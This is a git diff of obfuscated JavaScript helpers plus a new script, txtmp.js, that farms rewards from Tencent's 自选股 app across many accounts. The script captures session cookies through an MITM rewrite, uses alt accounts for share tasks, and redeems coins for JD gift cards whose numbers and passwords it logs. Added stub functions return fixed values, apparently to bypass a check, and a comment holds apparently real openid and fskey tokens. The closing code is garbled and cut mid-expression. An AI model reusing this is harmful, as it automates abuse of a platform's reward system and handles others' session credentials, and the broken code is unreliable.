_0x26ea75(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0x1],_0x1df9bc,0xa4beea44),_0x34d349=_0x26ea75(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0x4],_0x229a4f,0x4bdecfa9),_0x263a99=_0x26ea75(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0x7],_0x3ae14c,0xf6bb4b60),_0x33a7fd=_0x26ea75(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0xa],_0xfe5c80,0xbebfbc70),_0x1cf690=_0x26ea75(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0xd],_0x1df9bc,0x289b7ec6),_0x34d349=_0x26ea75(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0x0],_0x229a4f,0xeaa127fa),_0x263a99=_0x26ea75(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0x3],_0x3ae14c,0xd4ef3085),_0x33a7fd=_0x26ea75(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0x6],_0xfe5c80,0x4881d05),_0x1cf690=_0x26ea75(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0x9],_0x1df9bc,0xd9d4d039),_0x34d349=_0x26ea75(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0xc],_0x229a4f,0xe6db99e5),_0x263a99=_0x26ea75(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0xf],_0x3ae14c,0x1fa27cf8),_0x33a7fd=_0x26ea75(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0x2],_0xfe5c80,0xc4ac5665),_0x1cf690=_0x153690(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0x0],_0x49ada1,0xf4292244),_0x34d349=_0x153690(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0x7],_0x62b374,0x432aff97),_0x263a99=_0x153690(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0xe],_0x485b9b,0xab9423a7),_0x33a7fd=_0x153690(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0x5],_0x4780da,0xfc93a039),_0x1cf690=_0x153690(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0xc],_0x49ada1,0x655b59c3),_0x34d349=_0x153690(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0x3],_0x62b374,0x8f0ccc92),_0x263a99=_0x153690(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0xa],_0x485b9b,0xffeff47d),_0x33a7fd=_0x153690(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0x1],_0x4780da,0x85845dd1),_0x1cf690=_0x153690(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0x8],_0x49ada1,0x6fa87e4f),_0x34d349=_0x153690(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0xf],_0x62b374,0xfe2ce6e0),_0x263a99=_0x153690(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0x6],_0x485b9b,0xa3014314),_0x33a7fd=_0x153690(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0xd],_0x4780da,0x4e0811a1),_0x1cf690=_0x153690(_0x1cf690,_0x33a7fd,_0x263a99,_0x34d349,_0x212341[_0x11e421+0x4],_0x49ada1,0xf7537e82),_0x34d349=_0x153690(_0x34d349,_0x1cf690,_0x33a7fd,_0x263a99,_0x212341[_0x11e421+0xb],_0x62b374,0xbd3af235),_0x263a99=_0x153690(_0x263a99,_0x34d349,_0x1cf690,_0x33a7fd,_0x212341[_0x11e421+0x2],_0x485b9b,0x2ad7d2bb),_0x33a7fd=_0x153690(_0x33a7fd,_0x263a99,_0x34d349,_0x1cf690,_0x212341[_0x11e421+0x9],_0x4780da,0xeb86d391),_0x1cf690=_0x3af422(_0x1cf690,_0x493d13),_0x33a7fd=_0x3af422(_0x33a7fd,_0x4779ab),_0x263a99=_0x3af422(_0x263a99,_0x3a567d),_0x34d349=_0x3af422(_0x34d349,_0x12bd8b);var _0x5c2ce2=_0x41f144(_0x1cf690)+_0x41f144(_0x33a7fd)+_0x41f144(_0x263a99)+_0x41f144(_0x34d349);return _0x5c2ce2[_0xefec18(0x106,'6Bst')]();}function FxPCnMKLw7(){var _0x4da491=_0x3eaa24;_keyStr='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',this[_0x4da491(0x186)]=function(_0x19d419){var _0x1d070a=_0x4da491,_0x53678d=_0x4057,_0xfb6385='',_0x5b3970,_0xcff5b6,_0x5660d5,_0x2dfe00,_0x50a4d2,_0x1eaebd,_0x419f92,_0x180a18=0x0;_0x19d419=_utf8_encode(_0x19d419);while(_0x180a18<_0x19d419['length']){_0x5b3970=_0x19d419[_0x53678d(0x175,'0Q9y')](_0x180a18++),_0xcff5b6=_0x19d419[_0x53678d(0x195,'6Bst')](_0x180a18++),_0x5660d5=_0x19d419[_0x1d070a(0x126)](_0x180a18++),_0x2dfe00=_0x5b3970>>0x2,_0x50a4d2=(_0x5b3970&0x3)<<0x4|_0xcff5b6>>0x4,_0x1eaebd=(_0xcff5b6&0xf)<<0x2|_0x5660d5>>0x6,_0x419f92=_0x5660d5&0x3f;if(isNaN(_0xcff5b6))_0x1eaebd=_0x419f92=0x40;else isNaN(_0x5660d5)&&(_0x419f92=0x40);_0xfb6385=_0xfb6385+_keyStr[_0x1d070a(0x6d)](_0x2dfe00)+_keyStr[_0x53678d(0x15b,'jrcL')](_0x50a4d2)+_keyStr[_0x53678d(0xd5,'CZGv')](_0x1eaebd)+_keyStr[_0x53678d(0x14c,'soEC')](_0x419f92);}return _0xfb6385;},this[_0x4da491(0x6f)]=function(_0x10a9ef){var _0x3cf893=_0x4057,_0x4b0dbe=_0x4da491,_0x5cdc9d='',_0x25cb0b,_0x5be9fa,_0x1706ce,_0xb7ddfc,_0x2995b1,_0x27e12e,_0x24c976,_0x23f73b=0x0;_0x10a9ef=_0x10a9ef[_0x4b0dbe(0xe6)](/[^A-Za-z0-9\+\/\=]/g,'');while(_0x23f73b<_0x10a9ef[_0x3cf893(0x169,'CZGv')]){_0xb7ddfc=_keyStr['indexOf'](_0x10a9ef[_0x4b0dbe(0x6d)](_0x23f73b++)),_0x2995b1=_keyStr[_0x4b0dbe(0x13e)](_0x10a9ef[_0x4b0dbe(0x6d)](_0x23f73b++)),_0x27e12e=_keyStr[_0x4b0dbe(0x13e)](_0x10a9ef[_0x4b0dbe(0x6d)](_0x23f73b++)),_0x24c976=_keyStr[_0x3cf893(0x18b,'mW@[')](_0x10a9ef[_0x4b0dbe(0x6d)](_0x23f73b++)),_0x25cb0b=_0xb7ddfc<<0x2|_0x2995b1>>0x4,_0x5be9fa=(_0x2995b1&0xf)<<0x4|_0x27e12e>>0x2,_0x1706ce=(_0x27e12e&0x3)<<0x6|_0x24c976,_0x5cdc9d=_0x5cdc9d+String[_0x3cf893(0xc8,'EbWd')](_0x25cb0b),_0x27e12e!=0x40&&(_0x5cdc9d=_0x5cdc9d+String[_0x4b0dbe(0xf2)](_0x5be9fa)),_0x24c976!=0x40&&(_0x5cdc9d=_0x5cdc9d+String['fromCharCode'](_0x1706ce));}return _0x5cdc9d=_utf8_decode(_0x5cdc9d),_0x5cdc9d;},_utf8_encode=function(_0x54c949){var _0xc7de8b=_0x4da491,_0x2e9111=_0x4057;_0x54c949=_0x54c949[_0x2e9111(0x177,'Xvd]')](/\r\n/g,'\x0a');var _0x12d641='';for(var _0x339083=0x0;_0x339083<_0x54c949[_0xc7de8b(0xb8)];_0x339083++){var _0x12bc21=_0x54c949[_0xc7de8b(0x126)](_0x339083);if(_0x12bc21<0x80)_0x12d641+=String['fromCharCode'](_0x12bc21);else _0x12bc21>0x7f&&_0x12bc21<0x800?(_0x12d641+=String[_0x2e9111(0xc6,'Du[F')](_0x12bc21>>0x6|0xc0),_0x12d641+=String[_0x2e9111(0xc6,'Du[F')](_0x12bc21&0x3f|0x80)):(_0x12d641+=String[_0x2e9111(0x90,'jn8V')](_0x12bc21>>0xc|0xe0),_0x12d641+=String[_0xc7de8b(0xf2)](_0x12bc21>>0x6&0x3f|0x80),_0x12d641+=String[_0x2e9111(0x10c,'z5cV')](_0x12bc21&0x3f|0x80));}return _0x12d641;},_utf8_decode=function(_0x6544e3){var _0x1dc492=_0x4057,_0x37965d=_0x4da491,_0x457514='',_0x5b331a=0x0,_0x4c9c8e=c1=c2=0x0;while(_0x5b331a<_0x6544e3[_0x37965d(0xb8)]){_0x4c9c8e=_0x6544e3[_0x1dc492(0x9b,'jn8V')](_0x5b331a);if(_0x4c9c8e<0x80)_0x457514+=String[_0x1dc492(0xa1,'&5aS')](_0x4c9c8e),_0x5b331a++;else _0x4c9c8e>0xbf&&_0x4c9c8e<0xe0?(c2=_0x6544e3[_0x37965d(0x126)](_0x5b331a+0x1),_0x457514+=String[_0x1dc492(0x19c,'Vg5f')]((_0x4c9c8e&0x1f)<<0x6|c2&0x3f),_0x5b331a+=0x2):(c2=_0x6544e3[_0x1dc492(0x13f,'umC(')](_0x5b331a+0x1),c3=_0x6544e3[_0x1dc492(0xb9,'oDDS')](_0x5b331a+0x2),_0x457514+=String[_0x37965d(0xf2)]((_0x4c9c8e&0xf)<<0xc|(c2&0x3f)<<0x6|c3&0x3f),_0x5b331a+=0x3);}return _0x457514;};}function rc4(_0x4c2464,_0x50c6a8){var _0x25d0ab=_0x3eaa24,_0x3f2742=_0x4f8465,_0x102f90=Array(0x100),_0x376440=Array(_0x4c2464[_0x3f2742(0xaa,'soEC')]);for(var _0x49867c=0x0;_0x49867c<0x100;_0x49867c++){_0x102f90[_0x49867c]=_0x49867c;var _0x4e9c04=(_0x4e9c04+_0x102f90[_0x49867c]+_0x50c6a8[_0x25d0ab(0x126)](_0x49867c%_0x50c6a8['length']))%0x100,_0xb22877=_0x102f90[_0x49867c];_0x102f90[_0x49867c]=_0x102f90[_0x4e9c04],_0x102f90[_0x4e9c04]=_0xb22877;}for(var _0x49867c=0x0;_0x49867c<_0x4c2464[_0x25d0ab(0xb8)];_0x49867c++){_0x376440[_0x49867c]=_0x4c2464[_0x3f2742(0x176,'gs9W')](_0x49867c);}for(var _0x56d86d=0x0;_0x56d86d<_0x376440[_0x25d0ab(0xb8)];_0x56d86d++){var _0x49867c=(_0x49867c+0x1)%0x100,_0x4e9c04=(_0x4e9c04+_0x102f90[_0x49867c])%0x100,_0xb22877=_0x102f90[_0x49867c];_0x102f90[_0x49867c]=_0x102f90[_0x4e9c04],_0x102f90[_0x4e9c04]=_0xb22877;var _0x1412a4=(_0x102f90[_0x49867c]+_0x102f90[_0x4e9c04]%0x100)%0x100;_0x376440[_0x56d86d]=String[_0x25d0ab(0xf2)](_0x376440[_0x56d86d]^_0x102f90[_0x1412a4]);}return _0x376440[_0x25d0ab(0xec)]('');} @@ -211,10 +225,7 @@ function Env(t, e) { }, t => e(t)); else if (this.isNode()) { let s = require("iconv-lite"); - this.initGotEnv(t), - // 打印请求todo - console.log("GET请求: "+JSON.stringify(t)), - this.got(t).on("redirect", (t, e) => { + this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); @@ -230,9 +241,6 @@ function Env(t, e) { headers: o, rawBody: h } = t; - // 打印返回 todo - // if(t && t.body && t.requestUrl!="https://leafxcy.coding.net/p/validcode/d/validCode/git/raw/master/code.json") - console.log(" 返回: "+ t.body) e(null, { status: i, statusCode: r, @@ -278,7 +286,6 @@ function Env(t, e) { url: r, ...o } = t; - console.log("POST请求: "+ JSON.stringify(t)), this.got[s](r, o).then(t => { const { statusCode: s, @@ -286,7 +293,6 @@ function Env(t, e) { headers: o, rawBody: h } = t; - console.log(" 返回: "+ t.body) e(null, { status: s, statusCode: r, @@ -379,3 +385,26 @@ function Env(t, e) { } }(t, e) } + +function initVM() +{ + +} + +function abc(_0x5a1982, _0x5a4d0e, _0x3f44fe, _0x4c2ba2, _0x9ba7ad) { + var arrs={gg:'',bb:'1.0.4',sign:'https://nebula.kuaishou.com'}; + arrs['Eý']=10; + arrs.num=10; + return JSON.stringify(arrs); +} + +function isFileExist(_0x30e2f1) { + return true; +} + +function addF(_0x10d26a, _0x3aa330) { +} + +function destroyVM(_0x1da977) { + +} \ No newline at end of file diff --git a/txtmp.js b/txtmp.js new file mode 100644 index 0000000..1c43449 --- /dev/null +++ b/txtmp.js @@ -0,0 +1,550 @@ +/* +腾讯自选股V2 + +更新了一下脚本,精简了需要的CK,多账户用换行(\n)或者@或者#隔开,尽量用换行隔开因为我没测试其他 +一天跑两次就够了,10点到13点之间运行一次猜涨跌做任务,16点半之后运行一次领猜涨跌奖励 +提现设置:默认提现5元,需要改的话自己设置TxStockCash变量,0代表不提现,1代表提现1元,5代表提现5元 +新手任务设置:默认不做新手任务,需要做的话设置TxStockNewbie为1 +分享任务设置:默认会做互助任务,需要多账号,黑号也能完成分享任务。不想做的话设置TxStockHelp为0 +可以设置某些号只助力别的号不做任务(没资格的小号可以助力大号),在对应的ck后面加&task=0 +没有捉到微信CK的也可以跑脚本,删掉wzq_qlskey和wzq_qluin就行,会尝试用APP的CK去完成微信任务,出现做任务失败是正常现象 + +青龙捉包,需要捉APP和公众号里面的小程序 +1. 打开APP,捉wzq.tenpay.com包,把url里的openid和fskey用&连起来填到TxStockCookie +2. 公众号 腾讯自选股微信版->右下角好福利->福利中心,捉wzq.tenpay.com包,把Cookie里的wzq_qlskey和wzq_qluin用&连起来填到TxStockCookie +格式如下: +export TxStockCookie='openid=xx&fskey=yy&wzq_qlskey=zz&wzq_qluin=aa' + +V2P,圈X重写: +打开APP和小程序自动获取 +小程序入口:公众号 腾讯自选股微信版->右下角好福利->福利中心 +[task_local] +#腾讯自选股 +35 11,16 * * * https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js, tag=腾讯自选股, enabled=true +[rewrite_local] +https://wzq.tenpay.com/cgi-bin/.*user.*.fcgi url script-request-header https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js +[MITM] +hostname = wzq.tenpay.com +*/ +const jsname = '腾讯自选股V2兑换' +const $ = new Env(jsname); + +const notifyFlag = 1; //0为关闭通知,1为打开通知,默认为1 +let notifyStr = '' + +let envSplitor = ['\n','@','#'] +let httpResult //global buffer + +let withdrawCash = ($.isNode() ? (process.env.TxStockCash) : ($.getval('TxStockCash'))) || 5; //0为不自动提现,1为自动提现1元,5为自动提现5元 +let helpFlag = ($.isNode() ? (process.env.TxStockHelp) : ($.getval('TxStockHelp'))) || 1; //0为不做分享助力任务,1为多用户互相分享助力 +let newbieFlag = ($.isNode() ? (process.env.TxStockNewbie) : ($.getval('TxStockNewbie'))) || 0; //0为不做新手任务,1为自动做新手任务 +let userCookie = ($.isNode() ? process.env.TxStockCookie : $.getdata('TxStockCookie')) || ''; +let userList = [] + + +let userIdx = 0 +let userCount = 0 + +let TASK_WAITTIME = 1000 +let BULL_WAITTIME = 5000 + +let test_taskList = [] +let todayDate = formatDateTime(); + + + +/////////////////////////////////////////////////////////////////// +class UserInfo { + constructor(str) { + this.index = ++userIdx + this.name = this.index + this.canRun = true + this.hasWxCookie = true + this.valid = false + this.coin = -1 + this.shareCodes = {task:{}, newbie:{}, bull:{}, guess:{}} + this.bullStatusFlag = false + + let info = str2json(str) + this.openid = info['openid'] || '' + this.fskey = info['fskey'] || '' + this.wzq_qlskey = info['wzq_qlskey'] || '' + this.wzq_qluin = info['wzq_qluin'] || '' + this.task = info['task'] || 1 + this.cookie = `wzq_qlskey=${this.wzq_qlskey}; wzq_qluin=${this.wzq_qluin}; zxg_openid=${this.openid};` + + let checkParam = ['openid','fskey','wzq_qlskey','wzq_qluin'] + let missEnv = [] + for(let param of checkParam) { + if(!this[param]) missEnv.push(param); + } + if(missEnv.length > 0) { + let missStr = missEnv.join(', ') + let notiStr = `账号[${this.index}]缺少参数:${missStr}` + if(missStr.indexOf('openid') > -1 || missStr.indexOf('fskey') > -1 ) { + notiStr += ',无法运行脚本' + this.canRun = false + } else if(missStr.indexOf('wzq_qlskey') > -1 || missStr.indexOf('wzq_qluin') > -1) { + notiStr += ',尝试用APP的CK去完成微信任务和助力,可能出现失败情况' + this.hasWxCookie = false + } + console.log(notiStr) + } + } + + async getUserName() { + try { + let url = `https://proxy.finance.qq.com/group/newstockgroup/RssService/getSightByUser2?g_openid=${this.openid}&openid=${this.openid}&fskey=${this.fskey}` + let body = `g_openid=${this.openid}&search_openid=${this.openid}` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code==0) { + this.name = result.data.user_name + } else { + console.log(`账号[${this.name}]查询账户昵称失败: ${result.msg}`) + } + } catch(e) { + console.log(e) + } finally {} + } + + async getUserInfo(isWithdraw=false) { + try { + let url = `https://wzq.tenpay.com/cgi-bin/shop.fcgi?action=home_v2&type=2&openid=${this.openid}&fskey=${this.fskey}&channel=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.retcode==0) { + this.valid = true + let lastCoin = this.coin + this.coin = result.shop_asset ? result.shop_asset.amount : 0 + if(lastCoin > -1) { + logAndNotify(`账号[${this.name}]金币余额:${this.coin},本次运行共获得${this.coin-lastCoin}金币`) + } else { + console.log(`账号[${this.name}]金币余额:${this.coin}`) + } + + if(isWithdraw && withdrawCash > 0) { + if(result.all_rights && result.all_rights.length > 0) { + let cashStr = `京东E卡${withdrawCash}元` + for(let cashItem of result.all_rights) { + if(cashItem.item_desc == cashStr){ + if(parseInt(this.coin) >= parseInt(cashItem.coins)){ + logAndNotify(`账号[${this.name}]金币余额多于${cashItem.coins},开始兑换${cashStr}`); + await $.wait(TASK_WAITTIME); + await this.getWithdrawTicket(cashItem.item_id); + } else { + console.log(`账号[${this.name}]金币余额不足${cashItem.coins},不兑换`); + } + break; + } + } + } + } + } else { + console.log(`账号[${this.name}]查询账户余额失败: ${result.retmsg}`) + } + } catch(e) { + console.log(e) + } finally {} + } + + async getWithdrawTicket(item_id) { + try { + let url = `https://zqact03.tenpay.com/cgi-bin/shop.fcgi?action=order_ticket&type=2&openid=${this.openid}&fskey=${this.fskey}&channel=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.retcode==0) { + if(result.ticket) { + await $.wait(TASK_WAITTIME); + await this.withdraw(result.ticket,item_id); + } else { + console.log(`申请提现票据失败`); + } + } else { + console.log(`申请提现票据失败: ${result.retmsg}`) + } + } catch(e) { + console.log(e) + } finally {} + } + async withdraw(ticket,item_id) { + try { + let url = `https://zqact03.tenpay.com/cgi-bin/shop.fcgi?action=order&type=2&ticket=${ticket}&item_id=${item_id}&openid=${this.openid}&fskey=${this.fskey}&channel=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.retcode==0) { + console.log(`提现订单号:${result.order_no}`); + await $.wait(TASK_WAITTIME); + await this.withdraw2(result.order_no); + } else { + logAndNotify(`提现失败:${result.retmsg}`); + } + } catch(e) { + console.log(e) + } finally {} + } + //https://zqact03.tenpay.com/cgi-bin/shop.fcgi?action=order_info&type=2&order_no=1000030587202208031730483f640390&_=1659519053080&openid=oA0Gbjkoq2IOQkpykXMxFmElgDto&fskey=v0ba829662462ea3fac8c195835070d5&channel=1&access_token=&_appName=ios&_appver=9.10.0&_osVer=12.0&_devId=6fd7c34655c74a15b7ede7f263741b70fae2c7d8 + async withdraw2(order_no) { + try { + let url = `https://zqact03.tenpay.com/cgi-bin/shop.fcgi?action=order_info&type=2&order_no=${order_no}&openid=${this.openid}&fskey=${this.fskey}&channel=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.retcode==0) { + if (result.order && result.order.status==1){ + logAndNotify(`card_number:${result.order.card_number}\ncard_pwd:${result.order.card_pwd}`); + } else { + console.log(`兑换未获取到卡密`); + await $.wait(TASK_WAITTIME); + await this.withdraw2(order_no); + } + }else console.log(`获取兑换信息失败`) + } catch(e) { + console.log(e) + } finally {} + } + async gethistory() { + try { + let url = `https://zqact03.tenpay.com/cgi-bin/shop.fcgi?action=rights_history&type=2&offset=0&limit=10&openid=${this.openid}&fskey=${this.fskey}&channel=1` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.retcode==0) { + if(result.rights && result.rights.length>0) { + let i=0 + for (let item of result.rights){ + console.log(item.order_no) + console.log(item.name) + if (i<1) await this.withdraw2(item.order_no); + i+=1 + } + + } else { + console.log(`权益记录为空`); + } + } else { + console.log(`查看权益记录失败: ${result.retmsg}`) + } + } catch(e) { + console.log(e) + } finally {} + } +} + +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite() + }else { + console.log('\n变量填写格式,多账号用换行(\\n)或者@或者#隔开:\nopenid=xx&fskey=yy&wzq_qlskey=zz&wzq_qluin=aa\n') + if(!(await checkEnv())) return; + + console.log('\n=================== 用户信息 ===================') + for(let user of userList.filter(x => x.canRun)) { + await user.getUserName(); + await $.wait(TASK_WAITTIME); + await user.getUserInfo(); + await $.wait(TASK_WAITTIME); + } + + let validUserList = userList.filter(x => x.valid) + if(validUserList.length == 0) return; + let validUserCount = validUserList.length; + + console.log('\n===================账号${user.index}[${user.name}] 提现 ===================') + for(let user of validUserList) { + if(user.task == 1) { + await user.getUserInfo(true); + await $.wait(TASK_WAITTIME); + console.log(`\n===========查询权益记录============`) + await user.gethistory() + } + } + + await showmsg(); + } +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +/////////////////////////////////////////////////////////////////// +async function GetRewrite() { + if($request.url.indexOf(`cgi-bin/userinfo.fcgi`) > -1 && $request.headers.Cookie) { + let openid = $request.headers.Cookie.match(/zxg_(openid=[\w\-]+)/)[1] + if(openid == 'openid=anonymous') return; + let fskey = 'fskey=' + let qlskey = $request.headers.Cookie.match(/(wzq_qlskey=[\w\-]+)/)[1] + let qluin = $request.headers.Cookie.match(/(wzq_qluin=[\w\-]+)/)[1] + let ck = `${openid}&${fskey}&${qlskey}&${qluin}` + + if(userCookie) { + if(userCookie.indexOf(openid) == -1) { + userCookie = userCookie + '\n' + ck + $.setdata(userCookie, 'TxStockCookie'); + let ckList = userCookie.split('\n') + $.msg(jsname+` 获取第${ckList.length}个ck成功: ${ck}`) + } else { + if(userCookie.indexOf(openid) > -1 && userCookie.indexOf(qlskey) > -1 && userCookie.indexOf(qluin) > -1) return; + let ckList = userCookie.split('\n') + let idx = 0 + for(idx in ckList) { + if(ckList[idx].indexOf(openid) > -1) { + fskey = ckList[idx].match(/(fskey=[\w-]*)/)[1] + ck = `${openid}&${fskey}&${qlskey}&${qluin}` + ckList[idx] = ck + break; + } + } + userCookie = ckList.join('\n') + $.setdata(userCookie, 'TxStockCookie'); + $.msg(jsname+` 更新第${parseInt(idx)+1}个ck成功: ${ck}`) + } + } else { + $.setdata(ck, 'TxStockCookie'); + $.msg(jsname+` 获取第1个ck成功: ${ck}`) + } + } else if($request.url.indexOf(`cgi-bin/activity_usercenter.fcgi`) > -1) { + let openid = $request.url.match(/(openid=[\w\-]*)/)[1] + if(openid == 'openid=anonymous') return; + let fskey = $request.url.match(/(fskey=[\w\-]*)/)[1] + let qlskey = 'wzq_qlskey=' + let qluin = 'wzq_qluin=' + let ck = `${openid}&${fskey}&${qlskey}&${qluin}` + + if(userCookie) { + if(userCookie.indexOf(openid) == -1) { + userCookie = userCookie + '\n' + ck + $.setdata(userCookie, 'TxStockCookie'); + let ckList = userCookie.split('\n') + $.msg(jsname+` 获取第${ckList.length}个ck成功: ${ck}`) + } else { + if(userCookie.indexOf(openid) > -1 && userCookie.indexOf(fskey) > -1) return; + let ckList = userCookie.split('\n') + let idx = 0 + for(idx in ckList) { + if(ckList[idx].indexOf(openid) > -1) { + qlskey = ckList[idx].match(/(wzq_qlskey=[\w-]*)/)[1] + qluin = ckList[idx].match(/(wzq_qluin=[\w-]*)/)[1] + ck = `${openid}&${fskey}&${qlskey}&${qluin}` + ckList[idx] = ck + break; + } + } + userCookie = ckList.join('\n') + $.setdata(userCookie, 'TxStockCookie'); + $.msg(jsname+` 更新第${parseInt(idx)+1}个ck成功: ${ck}`) + } + } else { + $.setdata(ck, 'TxStockCookie'); + $.msg(jsname+` 获取第1个ck成功: ${ck}`) + } + } +} + +async function checkEnv() { + if(userCookie) { + let splitor = envSplitor[0]; + for(let sp of envSplitor) { + if(userCookie.indexOf(sp) > -1) { + splitor = sp; + break; + } + } + for(let userCookies of userCookie.split(splitor)) { + if(userCookies) userList.push(new UserInfo(userCookies)) + } + userCount = userList.filter(x => x.canRun).length + } else { + console.log('未找到CK') + return; + } + + console.log(`共找到${userCount}个有效账号`) + return true +} + +//通知 +async function showmsg() { + if(!notifyStr) return; + notifyBody = jsname + "运行通知\n\n" + notifyStr + if (notifyFlag > 0) { + if($.isNode()){ + var notify = require('./sendNotify'); + await notify.sendNotify($.name, notifyBody ); + } else { + $.msg(notifyBody); + } + } else { + console.log('\n'+notifyBody); + } +} + +function formatDateTime() { + var date = new Date(); + var y = date.getFullYear(); + var m = padStr(date.getMonth()+1,2); + var d = padStr(date.getDate(),2); + return `${y}${m}${d}`; +}; + +function logAndNotify(str) { + console.log(str) + notifyStr += str + notifyStr += '\n' +} + +//pushDear +async function pushDear(str) { + if(!PushDearKey) return; + if(!str) return; + + console.log('\n============= PushDear 通知 =============\n') + console.log(str) + let urlObject = { + url: `https://api2.pushdeer.com/message/push?pushkey=${PushDearKey}&text=${encodeURIComponent(str)}`, + headers: {}, + }; + await httpRequest('get',urlObject) + let result = httpResult; + let retStr = result.content.result==false ? '失败' : '成功' + console.log(`\n========== PushDear 通知发送${retStr} ==========\n`) +} +//////////////////////////////////////////////////////////////////// +function populateUrlObject(url,cookie,body=''){ + let host = url.replace('//','/').split('/')[1] + let urlObject = { + url: url, + headers: { + 'Host': host, + 'Cookie': cookie, + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.16(0x18001028) NetType/WIFI Language/zh_CN', + 'Connection': 'keep-alive', + }, + } + if(body) { + urlObject.body = body + urlObject.headers['Content-Type'] = 'application/x-www-form-urlencoded' + urlObject.headers['Content-Length'] = urlObject.body ? urlObject.body.length : 0 + } + return urlObject; +} + +async function httpRequest(method,url,timeout=5000) { + httpResult = null + return new Promise((resolve) => { + $[method](url, async (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + httpResult = JSON.parse(data); + } else { + httpResult = resp; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + },timeout); + }); +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } else { + console.log(data) + return false; + } + } catch (e) { + //console.log(e); + //console.log(`服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function getMin(a,b){ + return ((anumStr.length) ? (length-numStr.length) : 0 + let retStr = '' + for(let i=0; i>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} + +function MD5Encrypt(a){function b(a,b){return a<>>32-b}function c(a,b){var c,d,e,f,g;return e=2147483648&a,f=2147483648&b,c=1073741824&a,d=1073741824&b,g=(1073741823&a)+(1073741823&b),c&d?2147483648^g^e^f:c|d?1073741824&g?3221225472^g^e^f:1073741824^g^e^f:g^e^f}function d(a,b,c){return a&b|~a&c}function 